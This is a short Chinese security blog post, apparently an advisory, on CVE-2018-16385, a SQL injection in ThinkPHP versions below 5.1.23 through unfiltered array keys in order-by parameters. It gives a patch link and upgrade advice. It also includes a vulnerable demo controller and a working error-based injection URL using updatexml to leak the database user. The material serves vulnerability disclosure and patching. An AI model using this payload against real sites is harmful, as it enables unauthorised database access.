漏洞描述因是处理order by参数时,如果参数用户可控,当参数为数组key value时,未正确过滤处理数组的key值,导致漏洞的产生。

CVE编号CVE-2018-16385

威胁等级高

影响版本ThinkPHP < 5.1.23

修复建议对order by语句处理流程加上数组分支安全校验。

https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c
升级最新版本

漏洞复现demo:

<?php
namespace app\index\controller;class Test{
    public function index()    {
   $data=array();
 $data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->>where($data)->>order($order)->>find();
dump($m);
   }
}
```
提交参数:
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
```
![](https://file.hantaosec.com/typecho/uploads/20180913/1536830023134661.png)
正文到此结束

本文标题:ThinkPHP v5.1.22 SQL注入漏洞

本文链接:https://www.hantaosec.com/882.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源及链接,不带链接禁止任何转载!访问任何网络安全相关文章,则视为默认接受网络安全文章免责声明 ,请认真阅读。

喜欢我的文章吗?
别忘了点赞或赞赏,让我知道创作的路上有你陪伴。